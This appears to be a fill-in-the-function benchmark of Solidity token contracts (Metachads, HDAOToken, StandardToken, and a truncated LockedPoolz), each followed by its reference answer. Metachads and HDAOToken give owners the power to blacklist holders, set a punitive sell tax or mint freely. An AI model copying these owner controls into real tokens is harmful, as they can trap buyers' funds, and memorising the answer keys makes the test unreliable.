modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe3B899007a05B6F7003fD9e648a91adC30F05C88);
_feeAddrWallet2 = payable(0xc1B188EaF5Cb055458547178c64fA6d419fE4553);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xe3B899007a05B6F7003fD9e648a91adC30F05C88), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {<FILL_FUNCTION_BODY> }
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 3 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (3 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 25;
} else {
_feeAddr1 = 2;
_feeAddr2 = 14;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 14;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract Metachads is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Meta Chads";
string private constant _symbol = "MC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe3B899007a05B6F7003fD9e648a91adC30F05C88);
_feeAddrWallet2 = payable(0xc1B188EaF5Cb055458547178c64fA6d419fE4553);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xe3B899007a05B6F7003fD9e648a91adC30F05C88), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
<FILL_FUNCTION>
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 3 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (3 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 25;
} else {
_feeAddr1 = 2;
_feeAddr2 = 14;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 14;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
_maxTxAmount = maxTransactionAmount;
| function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() | function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() |
43542 | HDAOToken | startVest | contract HDAOToken is ERC20, Ownable {
uint256 constant MAX_SUPPLY = 10_000_000_000e18;
// for DAO.
uint256 public constant AMOUNT_DAO = MAX_SUPPLY / 100 * 8;
address public ADDR_DAO ;
// for liquidity providers
uint256 public constant AMOUNT_LP = MAX_SUPPLY / 100 * 2;
address public ADDR_LP ;
// for staking
uint256 public constant AMOUNT_STAKING = MAX_SUPPLY / 100 * 30;
address public ADDR_STAKING ;
// for TEAM.
uint256 public constant AMOUNT_TEAM = MAX_SUPPLY / 100 * 10;
address public ADDR_TEAM ;
// for airdrop
uint256 public constant AMOUNT_AIRDROP = MAX_SUPPLY - (AMOUNT_DAO + AMOUNT_STAKING + AMOUNT_LP + AMOUNT_TEAM);
address public ADDR_AIRDROP ;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private _minters;
EnumerableSet.AddressSet private _blackList;
event MinerAdded(address indexed user);
event MinerDeleted(address indexed user);
event BlacklistAdded(address indexed user);
event BlacklistDeleted(address indexed user);
bool public vestStarted = false;
uint256 public claimPeriodStarts ;
uint256 public claimPeriodEnds ;
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
}
function startVest(address _addressDao, address _addressStake, address _addressTeam, address _addressLP, address _addressAirdrop, uint256 _claimPeriodStarts, uint256 _claimPeriodEnds) public onlyOwner {<FILL_FUNCTION_BODY> }
function setClaimPeriod( uint256 _claimPeriodStarts, uint256 _claimPeriodEnds) public onlyOwner{
require( block.timestamp < _claimPeriodStarts && block.timestamp < _claimPeriodEnds && _claimPeriodEnds > _claimPeriodStarts, "claim period is invalid");
claimPeriodStarts = _claimPeriodStarts;
claimPeriodEnds = _claimPeriodEnds;
}
function queryClaimPeriod() public view returns(uint256 _claimPeriodStarts, uint256 _claimPeriodEnds){
_claimPeriodStarts = claimPeriodStarts;
_claimPeriodEnds = claimPeriodEnds;
}
// Extend transfer
function _transfer(address sender, address recipient, uint256 amount) internal override virtual {
require(!isBlackList(sender), "sender is the black");
super._transfer(sender, recipient, amount);
}
// mint with max supply
function mint(address _to, uint256 _amount) external onlyMinter returns (bool) {
_mint(_to, _amount);
return true;
}
function burn(address _from ,uint256 _amount) external onlyMinter returns (bool) {
_burn(_from, _amount);
return true;
}
function addMinter(address _addMinter) public onlyOwner returns (bool) {
require(_addMinter != address(0), "XDTToken: _addMinter is the zero address");
emit MinerAdded( _addMinter );
return EnumerableSet.add(_minters, _addMinter);
}
function delMinter(address _delMinter) public onlyOwner returns (bool) {
require(_delMinter != address(0), "XDTToken: _delMinter is the zero address");
emit MinerDeleted( _delMinter );
return EnumerableSet.remove(_minters, _delMinter);
}
function getMinterLength() public view returns (uint256) {
return EnumerableSet.length(_minters);
}
function isMinter(address account) public view returns (bool) {
return EnumerableSet.contains(_minters, account);
}
function getMinter(uint256 _index) public view returns (address){
require(_index <= getMinterLength() - 1, "XDTToken: index out of bounds");
return EnumerableSet.at(_minters, _index);
}
// modifier for mint function
modifier onlyMinter() {
require(isMinter(msg.sender) || owner() == msg.sender , "caller is not the minter");
_;
}
//blackList
function addBlackList(address _blackAddress) public onlyOwner returns (bool) {
require(_blackAddress != address(0), "XDTToken: _blackAddress is the zero address");
emit BlacklistAdded( _blackAddress );
return EnumerableSet.add(_blackList, _blackAddress);
}
function delBlackList(address _blackAddress) public onlyOwner returns (bool) {
require(_blackAddress != address(0), "XDTToken: _blackAddress is the zero address");
emit BlacklistDeleted( _blackAddress );
return EnumerableSet.remove(_blackList, _blackAddress);
}
function getBlackListLength() public view returns (uint256) {
return EnumerableSet.length(_blackList);
}
function isBlackList(address account) public view returns (bool) {
return EnumerableSet.contains(_blackList, account);
}
function getBlackList(uint256 _index) public view returns (address){
require(_index <= getBlackListLength() - 1, "XDTToken: index out of bounds");
return EnumerableSet.at(_blackList, _index);
}
// modifier for not in blacklist function
modifier onlyNotBlackList() {
require(!isBlackList(msg.sender), "caller is the black");
_;
}
} | contract HDAOToken is ERC20, Ownable {
uint256 constant MAX_SUPPLY = 10_000_000_000e18;
// for DAO.
uint256 public constant AMOUNT_DAO = MAX_SUPPLY / 100 * 8;
address public ADDR_DAO ;
// for liquidity providers
uint256 public constant AMOUNT_LP = MAX_SUPPLY / 100 * 2;
address public ADDR_LP ;
// for staking
uint256 public constant AMOUNT_STAKING = MAX_SUPPLY / 100 * 30;
address public ADDR_STAKING ;
// for TEAM.
uint256 public constant AMOUNT_TEAM = MAX_SUPPLY / 100 * 10;
address public ADDR_TEAM ;
// for airdrop
uint256 public constant AMOUNT_AIRDROP = MAX_SUPPLY - (AMOUNT_DAO + AMOUNT_STAKING + AMOUNT_LP + AMOUNT_TEAM);
address public ADDR_AIRDROP ;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private _minters;
EnumerableSet.AddressSet private _blackList;
event MinerAdded(address indexed user);
event MinerDeleted(address indexed user);
event BlacklistAdded(address indexed user);
event BlacklistDeleted(address indexed user);
bool public vestStarted = false;
uint256 public claimPeriodStarts ;
uint256 public claimPeriodEnds ;
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
}
<FILL_FUNCTION>
function setClaimPeriod( uint256 _claimPeriodStarts, uint256 _claimPeriodEnds) public onlyOwner{
require( block.timestamp < _claimPeriodStarts && block.timestamp < _claimPeriodEnds && _claimPeriodEnds > _claimPeriodStarts, "claim period is invalid");
claimPeriodStarts = _claimPeriodStarts;
claimPeriodEnds = _claimPeriodEnds;
}
function queryClaimPeriod() public view returns(uint256 _claimPeriodStarts, uint256 _claimPeriodEnds){
_claimPeriodStarts = claimPeriodStarts;
_claimPeriodEnds = claimPeriodEnds;
}
// Extend transfer
function _transfer(address sender, address recipient, uint256 amount) internal override virtual {
require(!isBlackList(sender), "sender is the black");
super._transfer(sender, recipient, amount);
}
// mint with max supply
function mint(address _to, uint256 _amount) external onlyMinter returns (bool) {
_mint(_to, _amount);
return true;
}
function burn(address _from ,uint256 _amount) external onlyMinter returns (bool) {
_burn(_from, _amount);
return true;
}
function addMinter(address _addMinter) public onlyOwner returns (bool) {
require(_addMinter != address(0), "XDTToken: _addMinter is the zero address");
emit MinerAdded( _addMinter );
return EnumerableSet.add(_minters, _addMinter);
}
function delMinter(address _delMinter) public onlyOwner returns (bool) {
require(_delMinter != address(0), "XDTToken: _delMinter is the zero address");
emit MinerDeleted( _delMinter );
return EnumerableSet.remove(_minters, _delMinter);
}
function getMinterLength() public view returns (uint256) {
return EnumerableSet.length(_minters);
}
function isMinter(address account) public view returns (bool) {
return EnumerableSet.contains(_minters, account);
}
function getMinter(uint256 _index) public view returns (address){
require(_index <= getMinterLength() - 1, "XDTToken: index out of bounds");
return EnumerableSet.at(_minters, _index);
}
// modifier for mint function
modifier onlyMinter() {
require(isMinter(msg.sender) || owner() == msg.sender , "caller is not the minter");
_;
}
//blackList
function addBlackList(address _blackAddress) public onlyOwner returns (bool) {
require(_blackAddress != address(0), "XDTToken: _blackAddress is the zero address");
emit BlacklistAdded( _blackAddress );
return EnumerableSet.add(_blackList, _blackAddress);
}
function delBlackList(address _blackAddress) public onlyOwner returns (bool) {
require(_blackAddress != address(0), "XDTToken: _blackAddress is the zero address");
emit BlacklistDeleted( _blackAddress );
return EnumerableSet.remove(_blackList, _blackAddress);
}
function getBlackListLength() public view returns (uint256) {
return EnumerableSet.length(_blackList);
}
function isBlackList(address account) public view returns (bool) {
return EnumerableSet.contains(_blackList, account);
}
function getBlackList(uint256 _index) public view returns (address){
require(_index <= getBlackListLength() - 1, "XDTToken: index out of bounds");
return EnumerableSet.at(_blackList, _index);
}
// modifier for not in blacklist function
modifier onlyNotBlackList() {
require(!isBlackList(msg.sender), "caller is the black");
_;
}
} |
require(!vestStarted, "DaoToken: Vest has already started.");
vestStarted = true;
require( block.timestamp < _claimPeriodStarts && block.timestamp < _claimPeriodEnds && _claimPeriodEnds > _claimPeriodStarts, "claim period is invalid");
ADDR_DAO = _addressDao;
_mint(ADDR_DAO, AMOUNT_DAO);
ADDR_STAKING = _addressStake;
_mint(ADDR_STAKING, AMOUNT_STAKING);
ADDR_LP = _addressLP;
_mint(ADDR_LP, AMOUNT_LP);
ADDR_TEAM = _addressTeam;
_mint(ADDR_TEAM, AMOUNT_TEAM);
ADDR_AIRDROP = _addressAirdrop;
_mint(ADDR_AIRDROP, AMOUNT_AIRDROP);
claimPeriodStarts = _claimPeriodStarts;
claimPeriodEnds = _claimPeriodEnds;
| function startVest(address _addressDao, address _addressStake, address _addressTeam, address _addressLP, address _addressAirdrop, uint256 _claimPeriodStarts, uint256 _claimPeriodEnds) public onlyOwner | function startVest(address _addressDao, address _addressStake, address _addressTeam, address _addressLP, address _addressAirdrop, uint256 _claimPeriodStarts, uint256 _claimPeriodEnds) public onlyOwner |
17537 | StandardToken | increaseApproval | contract StandardToken is ERC20, BasicToken {
// public variables
// internal variables
mapping (address => mapping (address => uint256)) _allowances;
// events
// public functions
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(to != address(0));
require(value <= _balances[from]);
require(value <= _allowances[from][msg.sender]);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function approve(address agent, uint256 value) public returns (bool) {
_allowances[msg.sender][agent] = value;
emit Approval(msg.sender, agent, value);
return true;
}
function allowance(address owner, address agent) public view returns (uint256) {
return _allowances[owner][agent];
}
function increaseApproval(address agent, uint value) public returns (bool) {<FILL_FUNCTION_BODY> }
function decreaseApproval(address agent, uint value) public returns (bool) {
uint allowanceValue = _allowances[msg.sender][agent];
if (value > allowanceValue) {
_allowances[msg.sender][agent] = 0;
} else {
_allowances[msg.sender][agent] = allowanceValue.sub(value);
}
emit Approval(msg.sender, agent, _allowances[msg.sender][agent]);
return true;
}
// internal functions
} | contract StandardToken is ERC20, BasicToken {
// public variables
// internal variables
mapping (address => mapping (address => uint256)) _allowances;
// events
// public functions
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(to != address(0));
require(value <= _balances[from]);
require(value <= _allowances[from][msg.sender]);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function approve(address agent, uint256 value) public returns (bool) {
_allowances[msg.sender][agent] = value;
emit Approval(msg.sender, agent, value);
return true;
}
function allowance(address owner, address agent) public view returns (uint256) {
return _allowances[owner][agent];
}
<FILL_FUNCTION>
function decreaseApproval(address agent, uint value) public returns (bool) {
uint allowanceValue = _allowances[msg.sender][agent];
if (value > allowanceValue) {
_allowances[msg.sender][agent] = 0;
} else {
_allowances[msg.sender][agent] = allowanceValue.sub(value);
}
emit Approval(msg.sender, agent, _allowances[msg.sender][agent]);
return true;
}
// internal functions
} |
_allowances[msg.sender][agent] = _allowances[msg.sender][agent].add(value);
emit Approval(msg.sender, agent, _allowances[msg.sender][agent]);
return true;
| function increaseApproval(address agent, uint value) public returns (bool) | function increaseApproval(address agent, uint value) public returns (bool) |
10717 | LockedPoolz | CreatePool | contract LockedPoolz is Manageable {
constructor() public {
Index = 0;
}
// add contract name
string public name;
event NewPoolCreated(uint256 PoolId, address Token, uint64 FinishTime, uint256 StartAmount, address Owner);
event PoolOwnershipTransfered(uint256 PoolId, address NewOwner, address OldOwner);
event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
struct Pool {
uint64 UnlockTime;
uint256 Amount;
address Owner;
address Token;
mapping(address => uint) Allowance;
}
// transfer ownership
// allowance
// split amount
mapping(uint256 => Pool) AllPoolz;
mapping(address => uint256[]) MyPoolz;
uint256 internal Index;
modifier isTokenValid(address _Token){
require(isTokenWhiteListed(_Token), "Need Valid ERC20 Token"); //check if _Token is ERC20
_;
}
modifier isPoolValid(uint256 _PoolId){
require(_PoolId < Index, "Pool does not exist");
_;
}
modifier isPoolOwner(uint256 _PoolId){
require(AllPoolz[_PoolId].Owner == msg.sender, "You are not Pool Owner");
_;
}
modifier isAllowed(uint256 _PoolId, uint256 _amount){
require(_amount <= AllPoolz[_PoolId].Allowance[msg.sender], "Not enough Allowance");
_;
}
modifier isLocked(uint256 _PoolId){
require(AllPoolz[_PoolId].UnlockTime > now, "Pool is Unlocked");
_;
}
modifier notZeroAddress(address _address){
require(_address != address(0x0), "Zero Address is not allowed");
_;
}
modifier isGreaterThanZero(uint256 _num){
require(_num > 0, "Array length should be greater than zero");
_;
}
modifier isBelowLimit(uint256 _num){
require(_num <= maxTransactionLimit, "Max array length limit exceeded");
_;
}
function SplitPool(uint256 _PoolId, uint256 _NewAmount , address _NewOwner) internal returns(uint256) {
Pool storage pool = AllPoolz[_PoolId];
require(pool.Amount >= _NewAmount, "Not Enough Amount Balance");
uint256 poolAmount = SafeMath.sub(pool.Amount, _NewAmount);
pool.Amount = poolAmount;
uint256 poolId = CreatePool(pool.Token, pool.UnlockTime, _NewAmount, _NewOwner);
return poolId;
}
//create a new pool
function CreatePool(
address _Token, //token to lock address
uint64 _FinishTime, //Until what time the pool will work
uint256 _StartAmount, //Total amount of the tokens to sell in the pool
address _Owner // Who the tokens belong to
) internal returns(uint256){<FILL_FUNCTION_BODY> }
} | contract LockedPoolz is Manageable {
constructor() public {
Index = 0;
}
// add contract name
string public name;
event NewPoolCreated(uint256 PoolId, address Token, uint64 FinishTime, uint256 StartAmount, address Owner);
event PoolOwnershipTransfered(uint256 PoolId, address NewOwner, address OldOwner);
event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
struct Pool {
uint64 UnlockTime;
uint256 Amount;
address Owner;
address Token;
mapping(address => uint) Allowance;
}
// transfer ownership
// allowance
// split amount
mapping(uint256 => Pool) AllPoolz;
